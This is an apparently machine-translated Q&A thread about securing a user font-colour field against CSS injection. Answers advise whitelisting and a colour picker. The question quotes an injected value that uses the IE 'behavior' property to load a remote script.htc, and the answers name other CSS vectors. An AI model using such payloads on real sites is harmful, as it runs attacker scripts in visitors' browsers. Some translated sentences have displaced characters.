1

私のサイトにログインしているユーザーのために、次のようなフォームがあります。

<form>
<input name="fontColor"><input type="submit">
</form>

これにより、ユーザーは自分のページをフォントの色でカスタマイズできます(自分のページは他のログインユーザーにも表示されます)。このフォントの色をページに配置する方法は、次のように構成されたページの先頭にある動的なスタイルシートを使用することです。

body { color: <fontColor>; }

ユーザーがfontColorにこれを入力したとします。

default; behavior: url(http://www.myscript.com/script.htc)

次に、CSSは次のようになります

body {color: default;behavior: url(http://www.myscript.com/script.htc)}

これは、ユーザーの「メンバーページ」がscript.htcをページに挿入するため、このメンバーのページにアクセスする他のメンバーがそのスクリプトを実行することを意味します(したがって、他の訪問者に攻撃が発生します)。

これを防ぐために、サーバーは;{}「fontColor」フィールドに入力された文字を無視します。

この場合、結果として得られるCSSは無効になり、機能しなくなります。

body {color: defaultbehavior: url(http://www.myscript.com/script.htc)}

基本的に私の質問はこれらに要約されます:

  1. 文字を使わずにスクリプトを挿入する方法はまだあり{};ますか?
  2. 許可{};されたとすると、(IEで機能する動作スタイル以外の)不要なスクリプトをCSSに挿入する方法は他にありますか?

ここでの最善の解決策は、ユーザーが色に関してそれほど自由にならないようにfontColorを検証することですが、学術的な目的のために、何が起こるかについてできるだけ多くのことを知りたいと思います。

4

2 に答える 2

2

XSS攻撃は、実際には攻撃者の想像力によってのみ制限されるため、許可されるルール/パターンの厳密なホワイトリストを用意するようにします。CSSルールが無効であるからといって、必ずしもすべてのブラウザが、またはルールurlの外部であっても、それが有効である他のファイルを含めようとしないことを意味するわけではありません。十分にサポートされていなくても、別の可能なベクトルはです。behaviorbackground-imageexpression

ここで完全なリストを作成することはできませんが、XSSについて認識しておくべき重要なことは、ベクターに既知の制限がなく、気付かないうちに脆弱性が悪用される可能性があることです。拒否したいものよりも、許可したいものから作業する方がはるかに優れています。

于 2013-03-26T03:45:20.333 に答える
1

CSSでの攻撃とは別に、考慮すべきもう1つのことはSQLインジェクション攻撃です。スタイルデータをデータベースに保存していると思うので、そのデータに何が含まれているかを心配する必要があります。mysqli :: real_escape_stringを使用することは、ストレージ用にデータを準備するための良いスタートです。

この場合、カラーデータに厳密に関心があるため、カラーピッカーを使用して、インターフェイスを使いやすくするだけでなく、受信するデータの種類を制限することもできます。攻撃者はページを簡単に変更して、必要なものを送信できるようにすることができますが、ツールが生成する16進値を厳密にフィルタリングする方がはるかに簡単です。

于 2013-03-27T01:48:37.403 に答える